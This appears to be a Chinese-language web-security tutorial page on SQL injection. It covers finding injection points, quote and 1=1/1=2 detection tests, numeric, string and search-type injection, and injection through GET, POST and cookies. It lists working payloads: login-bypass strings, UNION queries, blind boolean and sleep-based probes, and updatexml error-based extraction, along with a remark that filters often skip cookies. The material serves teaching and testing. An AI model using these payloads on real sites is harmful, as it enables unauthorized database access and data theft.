🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
## sql注入的准备工作 1. 确定 Web 应用程序所使用的技术 可以考察 Web 页面的页脚,查看错误页面,检查页面源代码,或者使用诸如 Nessus、AWVS、 APPSCAN 等工具来进行刺探。 2. 确定所有可能的输入方式 Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单; 另外,攻击者可以通过隐藏的 HTML 表单输入、HTTP 头部、cookies、甚至对用户不可见的 后端AJAX 请求来跟 Web 应用进行交互。 **一般来说,所有 HTTP 的 GET 和 POST 都应当作用户输入。** 为了找出一个 Web 应用所有可能的用户输入,我们可以求助于 Web 代理,如 Burp 等。 3. 查找可以用于注入的用户输入 在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。 多多留意 Web 应用的错误页面 通常只要带有输入提交的动态网页,并且动态网页访问数据库,都是潜在的探测点 ```sql # 万能密码: 'or '1'='1 ## 源语句: select * from user where name='xx' and pwd='hhh'; ## 目标语句: select * from user where name='' or '1'='1' and pwd='' or '1'='1' #注入语句样例 and 1=2 union select 1,2,3 -- select user() regexp '^ro' ascii(substr((select user()),1,1))=114 if(ascii(substr((select user()),1,1))=114,0,sleep 5) ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=9 updatexml(1,concat(0x7e,(select @@version),0x7e),1) ``` ## 手工检测 SQL 注入点 最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接。 ~~~url http://www.xxxxx.com/xxx.asp?id=xx (ASP 注入) http://www.xxxxx.com/xxx.php?id=xx (php 注入) http://www.xxxxx.com/xxx.jsp?id=xx (jsp 注入) http://www.xxxxx.com/xxx.aspx?id=xx (aspx 注入) http://www.xxxxx.com/index.asp?id=8&page=99 (有多个参数,需要区分用哪个参数来验证注入) http://www.xxxxx.com/index/new/id/8 伪静态 http://www.xxxxx.com/index/new/php-8.html 伪静态 ~~~ ## 判断是否存在sql注入 如何判断某个网页链接是否存在 SQL 注入漏洞呢?通常有两种检测方法。 1. 单引号法 第一种检测 SQL 注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。 2. `1=1` 和 `1=2` 法 很多时候检测提交包含引号的链接时,会提示非法字符,或直接不返回任何信息,这种情况下可以如下尝试: ~~~sql #先在链接地址后加上 and 1=1,提交 xxx.com/xx.php?id=xx and 1=1 #再替换为and 1=2,提交 xxx.com/xx.php?id=xx and 1=2 #如果返回不同的页面, 那么说明存在 SQL 注入漏洞。 ~~~ 3. 两种方法的组合变种 ```sql 'and 1=1 / and 1=2 'and '1'='1 / and '1'='2 'and 1 like 1 / and 1 like 2 ``` 4. 更多方法组合的常用判断语句 在插入的注入语句后面,增加`-+`或`#`,用以注释掉后面的正常语句 `#`有时会被过滤,因此可以使用url编码,将#表文`%23` 单引号也有可能会被过滤,可以换成双引号 可以在引号后加一两个括号,用以实现可能的语句闭合,如 ```SQL or 1=1–+ or 1=1# or 1=1%23 'or 1=1–+ "or 1=1–+ )or 1=1–+ ')or 1=1–+ ") or 1=1–+ "))or 1=1–+ ``` ## 注入分类 1. 数字型注入:` or 1=1` 当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。 >这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型, 例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。 而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。 2. 字符型注入:` ’ or 1=1#` 当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。 3. 搜索型注入: `%xxx% or 1=1 #%’` 当在搜索框搜索的时候,称为搜索型。搜索类型一般要使用百分号来闭合。 ~~~SQL select * from 表名 where 字段名 like ‘%(对应值)%’; # 源 select * from 表名 where 字段名 like ‘%(对应值)or 1=1 #% %’; # 目标 ~~~ 4. XX型注入: `xx’) or 1=1#` 这种情况很少见,是程序员不规则操作造成的,没有找到例子。 ## 注入提交方式 **三种方式注入方法** 1. post 可通过安装火狐浏览器插件(hackbar)或 Burp 工具来完成 2. get 一般直接通过浏览器地址栏提交 3. cookie 一般通 Burp 工具来完成,修改cookie,进行一个注入 **请求头中可以利用的点** ![mark](http://noah-pic.oss-cn-chengdu.aliyuncs.com/pic/20210617/213523166.png) **ASP和PHP中的调用函数** ```sh # ASP request (全部接受) request.querystring (接受 get) request.form (接受 post) request.cookie(接受 cookie) # PHP: $_REQUEST(全部接受) $_GET(接受get) $_POST (接受 post) $_COOKIE(接受 cookie) #一般中间件 waf 防火墙,对get防护最高,其次是post,最后是cookie #很多人在写注入防御代码时,写了post、get的,但是没有过滤cookie的 ```